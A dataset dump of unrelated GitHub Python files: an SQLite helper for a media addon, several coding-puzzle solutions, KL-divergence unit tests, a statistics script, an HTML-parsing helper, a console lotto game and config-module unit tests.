{"seq_id":"2699875262","text":"import sqlite3\nfrom tools import *\n\n\ndef checkFileExists(): return os.path.isfile(DBFILE)\n\n\ndef executeSQL(sql):\n    connection = sqlite3.connect(DBFILE)\n    cursor = connection.cursor()\n    cursor.execute(sql)\n    data = cursor.fetchall()\n    connection.close()\n    return data\n\n\ndef commitSQL(sql, dataSeq=None):\n    connection = sqlite3.connect(DBFILE)\n    cursor = connection.cursor()\n    if dataSeq is not None:\n        cursor.execute(sql, dataSeq)\n    else:\n        cursor.execute(sql)\n    connection.commit()\n    connection.close()\n    return True\n\n\ndef createDatabaseFile():\n    conn = sqlite3.connect(DBFILE)\n    c = conn.cursor()\n    c.execute('''CREATE TABLE \"astro_folders\" (\n            \"id\"\tINTEGER,\n            \"sectionID\"\tINTEGER,\n            \"name\"\tTEXT,\n            \"thumb\"\tTEXT,\n            \"subFolderId\"\tINTEGER DEFAULT NULL,\n            \"onClick\"\tBOOLEAN DEFAULT 1,\n            \"backFolderID\"\tTEXT DEFAULT NULL,\n            PRIMARY KEY(\"id\" AUTOINCREMENT)\n        )''')\n    c.execute('''CREATE TABLE \"astro_actions\" (\n            \"id\"\tINTEGER,\n            \"label\"\tTEXT,\n            \"folder\"\tTEXT,\n            \"path\"\tTEXT,\n            \"filename\"\tTEXT,\n            \"thumb\"\tTEXT,\n            \"icon\"\tTEXT,\n            \"fanart\"\tTEXT,\n            \"window\"\tINTEGER,\n            \"isplayable\"\tBOOLEAN,\n            \"isfolder\"\tBOOLEAN,\n            \"file\"\tTEXT,\n            \"isstream\"\tBOOLEAN,\n            \"description\"\tTEXT,\n            \"hasVideo\"\tBOOLEAN,\n            \"picture\"\tTEXT,\n            \"onClick\"\tBOOLEAN DEFAULT 0,\n            \"keepFolderId\"\tINTEGER,\n            PRIMARY KEY(\"id\" AUTOINCREMENT)\n        )''')\n    conn.commit()\n    conn.close()\n\n\ndef initialiseDatabaseFile():\n    createDatabaseFile()\n    conn = sqlite3.connect(DBFILE)\n    c = conn.cursor()\n    c.execute(\n        '''INSERT INTO astro_folders (sectionID, name, thumb) VALUES (?, ?, ?)''', (0, 'root', 'ICON'))\n    conn.commit()\n    conn.close()\n\n\ndef getSectionId():\n    from functools import reduce\n    nums = list(filter(lambda num: num is not None,\n                       [number[0] for number in executeSQL(\n                           '''SELECT sectionID FROM astro_folders''')]))\n    if len(nums) == 0:\n        return 1\n\n    def custom_max(x, y):\n        try:\n            int(x)\n            int(y)\n        except:\n            return -1\n        if x < y:\n            return y\n        else:\n            return x\n    maxNumber = reduce(custom_max, nums)\n    if isinstance(maxNumber, tuple):\n        maxNumber = maxNumber[0]\n    return maxNumber + 1\n","repo_name":"IAmSomeoneLikeYou462/script.astro","sub_path":"resources/lib/databasetools.py","file_name":"databasetools.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13859757209","text":"from collections import deque\r\n\r\n# 문자 목록에서 현재 단어와 한개의 문자만 다른 경우\r\ndef check_with_generator( current , words ) :\r\n    for word in words :\r\n        count = 0\r\n        for c,w in zip(current,word) :\r\n            if c!=w :\r\n                count+=1\r\n\r\n        if count==1 :\r\n            yield word\r\n            \r\ndef solution(begin, target, words):\r\n    make_word = {begin:0}\r\n    q = deque([begin])\r\n\r\n    while q :\r\n        current = q.popleft()\r\n        for word in check_with_generator(current,words):\r\n            # 방문 한적이 없다면 추가 visited 역할\r\n            if word not in make_word :\r\n                make_word[word] = make_word[current]+1\r\n                q.append(word)\r\n                \r\n    return make_word.get(target , 0 )","repo_name":"Kimuksung/codewars-programmers","sub_path":"프로그래머스-단어 변환2.py","file_name":"프로그래머스-단어 변환2.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24363704179","text":"# Implement a function to check if a linked list is a palindrome.\n# To check whether a LinkedList is palindrome or not take the values of Linked list and compared it aganist reversed slice..\n\nfrom creatingLinkedList import LinkedList\n\ndef is_palindrome(self) -> bool:\n\tcurrent = self.head\n\tstack = []\n\twhile current:\n\t\tstack.append(current.data)\n\t\tcurrent = current.next\n\treturn stack == stack[::-1]\n\nll = LinkedList()\nkeys = ['ablewasiereisawelba']\nkeys = 'mushahid'\nfor i in keys: ll.add_last(i)\nprint(ll)\nprint(is_palindrome(ll))","repo_name":"mushahidmehdi/Data-Structure-Algorithms","sub_path":"linkedList/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32431764764","text":"import unittest\nfrom functools import partial\nimport numpy as np\nfrom scipy.stats import norm\nfrom scipy import integrate\nfrom pactl.bounds.compute_kl_mixture import evaluate_log_gaussian\nfrom pactl.bounds.compute_kl_mixture import evalute_log_density_gaussian_mix\nfrom pactl.bounds.compute_kl_mixture import get_kl_mix\nfrom pactl.bounds.compute_kl_mixture import compute_kl_mix_quad\nfrom pactl.bounds.compute_kl_mixture import compute_kl_div_quad\nfrom pactl.bounds.compute_kl_mixture import compute_kl_div_mc\nfrom pactl.bounds.compute_kl_mixture import compute_broad_mix\nfrom pactl.bounds.compute_kl_mixture import compute_sample_mix\nfrom pactl.bounds.compute_kl_mixture import compute_kl_quad\nfrom pactl.bounds.compute_kl_mixture import compute_broad_gauss\nfrom pactl.bounds.compute_kl_mixture import compute_fast_kl_div_quad\nfrom pactl.bounds.kl_mixture import normal_mixture_log_density\nfrom pactl.bounds.kl_mixture import normal_kl_divergence\n\n\nclass TestKL(unittest.TestCase):\n\n    def test_fast_kl_div_quad(self):\n        test_tol = 1.e-0\n        theta_hat = np.array([-4., 2., 2., 4., -4., -1.2, -1.2, -1.2])\n        mu, counts = np.unique(theta_hat, return_counts=True)\n        posterior_scale = np.array(1.2)\n        prior_scale = np.array(0.5)\n        sample_size = int(1.e4)\n        kl_q = compute_fast_kl_div_quad(theta_hat, posterior_scale, prior_scale)\n        check = calculate_element(mu, posterior_scale, prior_scale)\n        check = np.sum(check * counts)\n        kl_mc = compute_kl_div_mc(theta_hat, posterior_scale, prior_scale, sample_size)\n        diff = np.linalg.norm(kl_mc - kl_q) / np.linalg.norm(kl_q)\n        print('TEST: FAST KL DIV Quad')\n        print(f'CHECK:  {check:+1.5e}')\n        print(f'KL Q:   {kl_q:+1.5e}')\n        print(f'KL MC:  {kl_mc:+1.5e}')\n        print(f'Diff:   {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_element(self):\n        test_tol = 1.e-0\n        posterior_scale = np.array(1.2)\n        prior_scale = np.array(0.5)\n        mu = np.array([-5.8, -4., -1.2, 0.5, 1., 3.8, 6.1])\n        sample_size = int(1.e3)\n        aux = calculate_element(mu, posterior_scale, prior_scale)\n        check = np.sum(aux)\n        kl_mix = compute_kl_div_mc(mu, posterior_scale, prior_scale, sample_size)\n        kl_q = compute_kl_quad(mu, posterior_scale, prior_scale)\n        kl_q = np.sum(kl_q)\n        diff = np.linalg.norm(check - kl_mix)\n        print('TEST: Atomic KL')\n        print(f'CHECK: {check:+1.5e}')\n        print(f'KL MC: {kl_mix:+1.5e}')\n        print(f'KL Q:  {kl_q:+1.5e}')\n        print(f'Diff:  {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_div_mc(self):\n        test_tol = 1.e-0\n        posterior_scale = np.array(1.2)\n        theta_hat = np.array([-4., 2., 2., 4., -4.])\n        priors = np.array([1.])\n        sample_size = int(1.e3)\n        kl = compute_kl_div_quad(theta_hat, posterior_scale, priors[0])\n        theta = np.random.multivariate_normal(\n            mean=theta_hat,\n            cov=np.eye(len(theta_hat)) * posterior_scale ** 2.,\n            size=sample_size)\n        mu = np.unique(theta_hat)\n        kl2 = get_kl_mix(theta, theta_hat, mu, posterior_scale, priors[0])\n        kl_mc = compute_kl_div_mc(theta_hat, posterior_scale, priors, sample_size)\n        diff = np.linalg.norm(kl_mc - kl)\n        print('TEST: KL div MC')\n        print(f'KL Q:  {kl:1.5e}')\n        print(f'KL MC: {kl_mc:1.5e}')\n        print(f'KL 2:  {kl2:1.5e}')\n        print(f'Diff:  {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_broad_mix(self):\n        test_tol = 1.e-0\n        posterior_scale = np.array(1.2)\n        theta_hat = np.array([-4., 2., 2., 4., -4.])\n        priors = np.array([1.])\n        sample_size = int(1.e2)\n        mu, counts = np.unique(theta_hat, return_counts=True)\n        theta = np.random.multivariate_normal(\n            mean=mu,\n            cov=np.eye(mu.shape[0]) * posterior_scale ** 2.,\n            size=sample_size)\n        aux = compute_broad_mix(theta, counts, np.expand_dims(mu, axis=0), priors[0])\n        theta = np.random.multivariate_normal(\n            mean=theta_hat,\n            cov=np.eye(theta_hat.shape[0]) * posterior_scale ** 2.,\n            size=sample_size)\n        check = calculate_kl_mix(theta, mu, priors[0])\n        diff = np.linalg.norm(aux - check)\n        print('TEST: Mixture Broadcasting')\n        print(f'AUX:   {aux:1.5e}')\n        print(f'CHECK: {check:1.5e}')\n        print(f'Diff:  {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_mix(self):\n        test_tol = 1.e-0\n        theta_hat = np.array([-4., 2., 2., 4., -4.])\n        priors = np.array([1.])\n        mu, counts = np.unique(theta_hat, return_counts=True)\n        theta = theta_hat + np.random.normal(size=len(theta_hat))\n        check = calculate_mix(theta, mu, priors[0])\n        aux = compute_sample_mix(theta, counts, mu, priors[0])\n        diff = np.linalg.norm(aux - check)\n        print('TEST: Mixture fn')\n        print(f'AUX:   {aux:1.5e}')\n        print(f'CHECK: {check:1.5e}')\n        print(f'Diff:  {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_broad_gauss(self):\n        test_tol = 1.e-0\n        posterior_scale = np.array(1.2)\n        theta_hat = np.array([-4., 2., 2., 4., -4.])\n        posterior_scale = np.array(1.)\n        sample_size = int(1.e3)\n        mu, counts = np.unique(theta_hat, return_counts=True)\n        theta = np.random.multivariate_normal(\n            mean=mu,\n            cov=np.eye(mu.shape[0]) * posterior_scale ** 2.,\n            size=sample_size)\n        aux = compute_broad_gauss(theta, counts, mu, posterior_scale)\n        theta = np.random.multivariate_normal(\n            mean=theta_hat,\n            cov=np.eye(theta_hat.shape[0]) * posterior_scale ** 2.,\n            size=sample_size)\n        check = evaluate_log_gaussian(theta, theta_hat, posterior_scale)\n        check = np.mean(np.sum(check, axis=-1))\n        diff = np.linalg.norm(aux - check)\n        print('TEST: Gaussian Broadcasting')\n        print(f'AUX:   {aux:1.5e}')\n        print(f'CHECK: {check:1.5e}')\n        print(f'Diff:  {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_normal_div(self):\n        test_tol = 1.e-0\n        mu = np.array([-4., 2., 4.])\n        # prior_scale = np.array(0.5)\n        # posterior_scale = np.array(1.25)\n        prior_scale = np.array(0.25)\n        posterior_scale = np.array(1.2)\n        log_density = partial(normal_mixture_log_density, mu=mu, sigma=prior_scale)\n        zhou = normal_kl_divergence(log_density, mu, posterior_scale)\n        print(zhou)\n        zhou = np.sum(zhou)\n        kl = compute_kl_div_quad(mu, posterior_scale, prior_scale)\n        diff = np.linalg.norm(zhou - kl)\n        print('TEST: KL div')\n        print(f'kl:   {kl:+1.5e}')\n        print(f'Zhou: {zhou:+1.5e}')\n        print(f'Diff: {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_mixture_log(self):\n        test_tol = 1.e-0\n        theta = np.array(2.)\n        mu = np.array([-4., 2., 4.])\n        prior_scale = np.array(0.25)\n        manual = calculate_log_kl_mixture(theta, mu, prior_scale)\n        logp = evalute_log_density_gaussian_mix(theta, mu, prior_scale)\n        zhou = normal_mixture_log_density(theta, mu, sigma=prior_scale)\n        diff = np.linalg.norm(manual - logp)\n        print('TEST: Mixture log density')\n        print(f'Manual: {manual:+1.5e}')\n        print(f'Logp:   {logp:+1.5e}')\n        print(f'Zhou:   {zhou:+1.5e}')\n        print(f'Diff:   {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_quadrature(self):\n        test_tol = 1.e-0\n        seed = 21\n        mu = np.array([-4., 2., 4.])\n        prior_scale = np.array(1.)\n        posterior_scale = np.array(1.)\n        sample_size = int(1.e2)\n        np.random.seed(seed=seed)\n        theta_hat = np.array([-4., 2., 2., 4., -4.])\n        dim = theta_hat.shape[0]\n        theta = np.random.multivariate_normal(\n            mean=theta_hat,\n            cov=np.eye(dim) * posterior_scale ** 2.,\n            size=sample_size)\n        manual = get_kl_mix_test(theta, theta_hat, mu, posterior_scale, prior_scale)\n        print('TEST: Quadrature')\n        print(f'Samples {manual:+1.3e}')\n        kl = compute_kl_mix_quad(theta_hat, mu, posterior_scale, prior_scale)\n        kl_fast = compute_kl_div_quad(theta_hat, posterior_scale, prior_scale)\n        print(f'KL      {kl:+1.3e}')\n        print(f'KL Fast {kl_fast:+1.3e}')\n        diff = np.linalg.norm(manual - kl)\n        print(f'Diff:   {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n        diff = np.linalg.norm(kl_fast - kl)\n        print(f'Diff:   {diff:+1.5e}')\n        self.assertTrue(expr=diff < test_tol)\n\n    def test_log_density(self):\n        test_tol = 1.e-10\n        seed = 21\n        mu = np.array([-4., 2., 4.])\n        prior_scale = np.array(1.)\n        posterior_scale = np.array(1.)\n        sample_size = int(1.e2)\n        np.random.seed(seed=seed)\n        theta_hat = np.array([-4., 2., 2., 4., -4.])\n        dim = theta_hat.shape[0]\n        theta = np.random.multivariate_normal(\n            mean=theta_hat,\n            cov=np.eye(dim) * posterior_scale ** 2.,\n            size=sample_size)\n        print('TEST: KL mix')\n        manual = get_kl_mix_test(theta, theta_hat, mu, posterior_scale, prior_scale)\n        print(f'Manual {manual:+1.3e}')\n        kl = get_kl_mix(theta, theta_hat, mu, posterior_scale, prior_scale)\n        print(f'KL     {kl:+1.3e}')\n        diff = np.linalg.norm(manual - kl)\n        self.assertTrue(expr=diff < test_tol)\n\n\ndef calculate_element(centroids, posterior_scale, prior_scale):\n    kls = np.zeros(len(centroids))\n    for k in range(len(centroids)):\n        first = -0.5 * (1 + np.log(2. * np.pi * posterior_scale ** 2.))\n        second, _ = integrate.quad(\n                calculate_second, a=-np.inf, b=np.inf,\n                args=(centroids[k], centroids, prior_scale, posterior_scale))\n        kls[k] = first - second\n    return kls\n\n\ndef calculate_second(theta, center, centroids, prior_scale, posterior_scale):\n    p_mix = 0.\n    for k in range(len(centroids)):\n        p_mix += norm.pdf(theta, centroids[k], prior_scale)\n    p = norm.pdf(theta, loc=center, scale=posterior_scale)\n    return np.log(p_mix + 1.e-10) * p\n\n\ndef calculate_log_kl_mixture(theta, mu, prior_scale):\n    output = 0.\n    for i in range(len(mu)):\n        output += norm.pdf(theta, loc=mu[i], scale=prior_scale)\n    return np.log(output)\n\n\ndef calculate_kl_mix(theta, mu, prior_scale):\n    sample_size, dim = theta.shape\n    results = np.zeros(sample_size)\n    for s in range(sample_size):\n        results[s] = calculate_mix(theta[s, :], mu, prior_scale)\n    return np.mean(results)\n\n\ndef calculate_mix(theta, mu, prior_scale):\n    dim = len(theta)\n    manual = 0.\n    for i in range(dim):\n        manual += evalute_log_density_gaussian_mix(theta[i], mu, prior_scale)\n    return manual\n\n\ndef get_kl_mix_test(theta, theta_hat, mu, posterior_scale, prior_scale):\n    sample_size, dim = theta.shape\n    results = np.zeros(sample_size)\n    for s in range(sample_size):\n        manual = 0.\n        for i in range(dim):\n            manual += evaluate_log_gaussian(theta[s, i], theta_hat[i], posterior_scale)\n            manual -= evalute_log_density_gaussian_mix(theta[s, i], mu, prior_scale)\n        results[s] = manual\n    return np.mean(results)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"activatedgeek/tight-pac-bayes","sub_path":"tests/TestKL.py","file_name":"TestKL.py","file_ext":"py","file_size_in_byte":11486,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"}
{"seq_id":"22120216","text":"\"\"\"\nhttps://open.kattis.com/problems/climbingworm\nAuthor: https://github.com/smh997/\n\"\"\"\na, b, h = map(int, input().split())\nt = 1\ncur = a\nwhile cur < h:\n    cur += a - b\n    t += 1\nprint(t)","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Kattis/climbingworm.py","file_name":"climbingworm.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"22183865543","text":"import pandas as pd\r\nimport numpy as np\r\nimport statistics as stats\r\n\r\ndf = pd.read_csv(\"Q7.csv\")\r\nmean = np.mean(df.Weigh)\r\nmedian = np.median(df.Weigh)\r\nmode = stats.mode(df.Weigh)\r\nstd = np.std(df.Weigh)\r\nvar = np.var(df.Weigh)\r\nminimum = min(df.Weigh)\r\nmaximum = max(df.Weigh)\r\n\r\n\r\nprint(\"Mean : \" + str(mean))\r\nprint(\"Median : \" + str(median))\r\nprint(\"Mode : \" + str(mode))\r\nprint(\"Standard Deviation : \" + str(std))\r\nprint(\"Variance : \" + str(var))\r\nprint(\"Range : \" + str(minimum) + \",\" + str(maximum))\r\n","repo_name":"hdcoder/ExcelR-Assignments","sub_path":"Basic Statistics Level 1/Q7_3.py","file_name":"Q7_3.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24570078288","text":"# -*- coding: utf-8 -*-\nimport random\n\n#import random\ndef getHash(text):\n     hashcode = getmidstring(text, 'formhash\" value=\"', '\"')\n     #print(hashcode)\n     return hashcode\n\ndef getagreebbrule(text):\n    agreebbrule = getmidstring(text, 'agreebbrule\" value=\"', '\"')\n    return agreebbrule\n\ndef layer_login_(text):\n    logincode = getmidstring(text,'layer_login_','\"')\n    #print(logincode)\n    return logincode\ndef getmidstring(html, start_str, end):\n    #print(html)\n    start = html.find(start_str)\n    if start >= 0:\n        start += len(start_str)\n        end = html.find(end, start)\n        if end >= 0:\n            return html[start:end].strip()\n\n\ndef confusion(filePath):\n   #打开文件，读取数据\n    f =open(filePath, 'r')\n    str0=f.read()\n    str1=\"\"\n    list = str0.splitlines()\n    print(list)\n    filter(None, list)\n    random.shuffle(list)\n    for i in list:\n        str1+=i+\"\\n\"\n    print(str1)\n    w =open(filePath, 'w')\n    w.write(str1)\n    w.close()\n","repo_name":"StartZYP/SaveItem","sub_path":"src/main/resources/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28469946312","text":"import random\nimport sys\n\nballsleft = 90\nballs = random.sample(range(1, 91), 90)\n\nclass Player:\n    def __init__(self):\n        self.number = 15\n        self.name = name\n        self.numbers_card = random.sample(range(1, 91), 15)\n        self.numbers_line = [self.numbers_card[:5], self.numbers_card[5:10], self.numbers_card[10:]]\n        for line in self.numbers_line:\n            line.sort()\n            line.insert(random.randint(0, 4), ' ')\n            line.insert(random.randint(0, 5), ' ')\n            line.insert(random.randint(0, 6), ' ')\n            line.insert(random.randint(0, 7), ' ')\n\n    def take_card(self):\n        print('{:-^26}'.format(' Карточка'+ self.name))\n        for line1 in self.numbers_line:\n            for number1 in line1:\n                print('{0:>2}'.format(number1), end=' ')\n            print()\n        print('{:-^26}\\n'.format('-'))\n\n    def move(self):\n        while True:\n            a = input('Зачеркнуть цифру? (y/n): ')\n            if a == 'y':\n                if ball in self.numbers_card:\n                    for l in self.numbers_line:\n                        try:\n                            l.insert(l.index(ball), '><')\n                            l.pop(l.index(ball))\n                        except ValueError:\n                            continue\n                    print('\\nOK')\n                    return 1\n                    break\n                else:\n                    print('\\nGAME OVER')\n                    sys.exit()\n            if a == 'n':\n                if ball in self.numbers_card:\n                    print('\\nGAME OVER')\n                    sys.exit()\n                else:\n                    print('\\nOK')\n                    break\n            else:\n                print(\"Используйте символ (y/n)\")\n\nclass CompPlayer(Player):\n    def move(self):\n        if ball in self.numbers_card:\n            for i in self.numbers_line:\n                try:\n                    i.insert(i.index(ball), '><')\n                    i.pop(i.index(ball))\n                except ValueError:\n                    continue\n            return 1\n\nplayers_person = {}\nplayer_card = None\n\nwhile True:\n    try:\n        count_players = int(input(\"Введите количество игроков\"))\n        for i in range(count_players):\n            type_player = input(\"Этот игрок компьтер/человек? (y/любой символ)\")\n            if type_player == \"y\":\n                name = input(\"Введите рабочее название: \")\n                if name in players_person:\n                    print(\"Такой игрок уже есть!\")\n                else:\n                    players_person[name] = CompPlayer()\n            else:\n                name = input(\"Введите имя игрока: \")\n                if name in players_person:\n                    print(\"Такой игрок уже есть!\")\n                else:\n                    players_person[name] = Player()\n\n        for ball in balls:\n            ballsleft -= 1\n            print('\\nНовый бочонок: {} (осталось: {})\\n'.format(ball, ballsleft))\n\n            for name in players_person:\n                player_card = players_person[name]\n                player_card.take_card()\n\n                if player_card.move() == 1:\n                    player_card.number -= 1\n\n                if player_card.number == 0:\n                    print('\\nУ нас победитель! Игрок ' + name)\n                    sys.exit()\n                if ballsleft == 0:\n                    print('\\nGAME OVER')\n                    sys.exit()\n    except ValueError:\n        print(\"Количество игроков вводиться цифрами!\")","repo_name":"27Ekaterina/lotoplay","sub_path":"loto.py","file_name":"loto.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25053328892","text":"# You are given a map in form of a two-dimensional integer grid where 1 represents land\n# and 0 represents water. Grid cells are connected horizontally/vertically (not diagonally).\n# The grid is completely surrounded by water, and there is exactly one island (i.e., one or\n# more connected land cells). The island doesn't have \"lakes\" (water inside that isn't connected\n# to the water around the island). One cell is a square with side length 1. The grid is rectangular,\n# width and height don't exceed 100. Determine the perimeter of the island.\n\n\nclass Solution(object):\n    def islandPerimeter(self, grid):\n        \"\"\"\n        :type grid: List[List[int]]\n        :rtype: int\n        \"\"\"\n\n        one = 0\n        dup = 0\n\n        for row in grid:\n            one += row.count(1)\n\n        for row in range(len(grid)):\n            for col in range(len(grid[0]) - 1):\n                if grid[row][col] == 1 and grid[row][col + 1] == 1:\n                    dup += 1\n\n        grid = list(map(list, zip(*grid)))\n\n        for row in range(len(grid)):\n            for col in range(len(grid[0]) - 1):\n                if grid[row][col] == 1 and grid[row][col + 1] == 1:\n                    dup += 1\n\n        return (one * 4 - dup * 2)\n","repo_name":"rabbitxyt/leetcode","sub_path":"463_Island_Perimeter.py","file_name":"463_Island_Perimeter.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"26284452949","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nsys.path.append(os.path.abspath(os.path.dirname(__file__)).replace('tests/', ''))\nfrom cleepconf import CleepConf\nfrom cleep.libs.internals.cleepfilesystem import CleepFilesystem\nfrom cleep.libs.internals.download import Download\nfrom cleep.exception import MissingParameter, InvalidParameter, CommandError\nfrom cleep.libs.tests.lib import TestLib\nimport unittest\nimport logging\nfrom pprint import pprint\nimport io\nfrom unittest.mock import Mock\nfrom configparser import ConfigParser\nfrom cleep.libs.tests.common import get_log_level\n\nLOG_LEVEL = get_log_level()\n\n\nclass CleepConfTests(unittest.TestCase):\n\n    FILE_NAME = 'cleep.conf'\n\n    def setUp(self):\n        TestLib()\n        logging.basicConfig(level=LOG_LEVEL, format=u'%(asctime)s %(name)s %(levelname)s : %(message)s')\n\n        self.fs = CleepFilesystem()\n        self.fs.enable_write()\n        self.path = os.path.join(os.getcwd(), self.FILE_NAME)\n        logging.debug('Using conf file \"%s\"' % self.path)\n\n        #fake conf file\n        conf = ConfigParser()\n        conf.add_section('general')\n        conf.set('general', 'modules', str([]))\n        conf.set('general', 'updated', str([]))\n        conf.add_section('rpc')\n        conf.set('rpc', 'rpc_host', '0.0.0.0')\n        conf.set('rpc', 'rpc_port', '80')\n        conf.set('rpc', 'rpc_cert', '')\n        conf.set('rpc', 'rpc_key', '')\n        conf.add_section('debug')\n        conf.set('debug', 'trace_enabled', u'False')\n        conf.set('debug', 'debug_core', u'False')\n        conf.set('debug', 'debug_modules', str([]))\n        with open(self.FILE_NAME, 'w') as fp:\n            conf.write(fp)\n        \n        rc = CleepConf\n        rc.CONF = self.FILE_NAME\n        self.rc = rc((self.fs))\n\n    def tearDown(self):\n        if os.path.exists('%s' % self.FILE_NAME):\n            os.remove('%s' % self.FILE_NAME)\n\n    def test_enable_trace(self):\n        self.rc.enable_trace()\n        self.assertTrue(self.rc.is_trace_enabled())\n\n    def test_disable_trace(self):\n        self.rc.disable_trace()\n        self.assertFalse(self.rc.is_trace_enabled())\n\n    def test_enable_core_debug(self):\n        self.rc.enable_core_debug()\n        self.assertTrue(self.rc.is_core_debugged())\n\n    def test_disable_core_debug(self):\n        self.rc.disable_core_debug()\n        self.assertFalse(self.rc.is_core_debugged())\n\n    def test_check(self):\n        self.assertIsNone(self.rc.check())\n\n    def test_check_without_file(self):\n        os.remove('%s' % self.FILE_NAME)\n        self.assertIsNone(self.rc.check())\n\n    def test_install_module(self):\n        self.assertTrue(self.rc.install_module('newmodule'))\n        self.assertTrue(self.rc.is_module_installed('newmodule'))\n\n    def test_install_already_installed_module(self):\n        self.rc.install_module('newmodule')\n        self.assertTrue(self.rc.is_module_installed('newmodule'))\n        self.assertTrue(self.rc.install_module('newmodule'))\n\n    def test_uninstall_module(self):\n        self.rc.install_module('mymodule')\n        self.assertTrue(self.rc.is_module_installed('mymodule'))\n        self.assertTrue(self.rc.uninstall_module('mymodule'))\n        self.assertFalse(self.rc.is_module_installed('mymodule'))\n\n    def test_uninstall_unknown_module(self):\n        self.rc.install_module('mymodule1')\n        self.rc.install_module('mymodule2')\n        self.assertFalse(self.rc.uninstall_module('mymodule3'))\n        self.assertFalse(self.rc.is_module_installed('mymodule3'))\n\n    def test_update_module(self):\n        self.rc.install_module('mymodule1')\n        self.assertTrue(self.rc.update_module('mymodule1'))\n        self.assertTrue(self.rc.is_module_updated('mymodule1'))\n\n    def test_update_module_already_updated_module(self):\n        self.rc.install_module('mymodule1')\n        self.rc.update_module('mymodule1')\n        self.assertTrue(self.rc.update_module('mymodule1'))\n\n    def test_clear_updated_modules(self):\n        self.rc.install_module('mymodule1')\n        self.rc.install_module('mymodule2')\n        self.rc.update_module('mymodule1')\n        self.rc.update_module('mymodule2')\n        self.rc.clear_updated_modules()\n        self.assertFalse(self.rc.is_module_updated('mymodule1'))\n        self.assertFalse(self.rc.is_module_updated('mymodule2'))\n\n    def test_update_module_unknown_module(self):\n        self.assertFalse(self.rc.update_module('mymodule2'))\n\n    def test_enable_module_debug(self):\n        self.rc.install_module('mymodule')\n        self.assertTrue(self.rc.enable_module_debug('mymodule'))\n        self.assertTrue(self.rc.is_module_debugged('mymodule'))\n\n    def test_disable_module_debug(self):\n        self.rc.install_module('mymodule')\n        self.rc.enable_module_debug('mymodule')\n        self.assertTrue(self.rc.disable_module_debug('mymodule'))\n        self.assertFalse(self.rc.is_module_debugged('mymodule'))\n\n    def test_disable_module_debug_not_debugged_module(self):\n        self.assertFalse(self.rc.disable_module_debug('mymodule'))\n        self.assertFalse(self.rc.is_module_debugged('mymodule'))\n\n    def test_enable_module_debug_already_debugged(self):\n        self.rc.install_module('mymodule')\n        self.rc.enable_module_debug('mymodule')\n        self.assertTrue(self.rc.enable_module_debug('mymodule'))\n    \n    def test_enable_module_debug_not_installed_module(self):\n        self.assertFalse(self.rc.enable_module_debug('mymodule'))\n\n    def test_rpc_get_config(self):\n        rpc = self.rc.get_rpc_config()\n        self.assertIsInstance(rpc, tuple)\n        self.assertEqual(rpc[0], '0.0.0.0')\n        self.assertEqual(rpc[1], 80)\n       \n    def test_rpc_set_config(self):\n        self.assertTrue(self.rc.set_rpc_config('localhost', 9000))\n        rpc = self.rc.get_rpc_config()\n        self.assertEqual(rpc[0], 'localhost')\n        self.assertEqual(rpc[1], 9000)\n\n    def test_rpc_get_security(self):\n        rpc = self.rc.get_rpc_security()\n        self.assertIsInstance(rpc, tuple)\n        self.assertEqual(rpc[0], '')\n        self.assertEqual(rpc[1], '')\n       \n    def test_rpc_set_security(self):\n        self.assertTrue(self.rc.set_rpc_security('mycert.crt', 'mykey.key'))\n        rpc = self.rc.get_rpc_security()\n        self.assertEqual(rpc[0], 'mycert.crt')\n        self.assertEqual(rpc[1], 'mykey.key')\n\n    def test_config_as_dict(self):\n        self.assertIsInstance(self.rc.as_dict(), dict)\n\nif __name__ == '__main__':\n    # coverage run --omit=\"*/lib/python*/*\",\"*test_*.py\" --concurrency=thread test_cleepconf.py; coverage report -m -i\n    unittest.main()\n","repo_name":"CleepDevice/cleep","sub_path":"cleep/tests/libs/configs/test_cleepconf.py","file_name":"test_cleepconf.py","file_ext":"py","file_size_in_byte":6582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
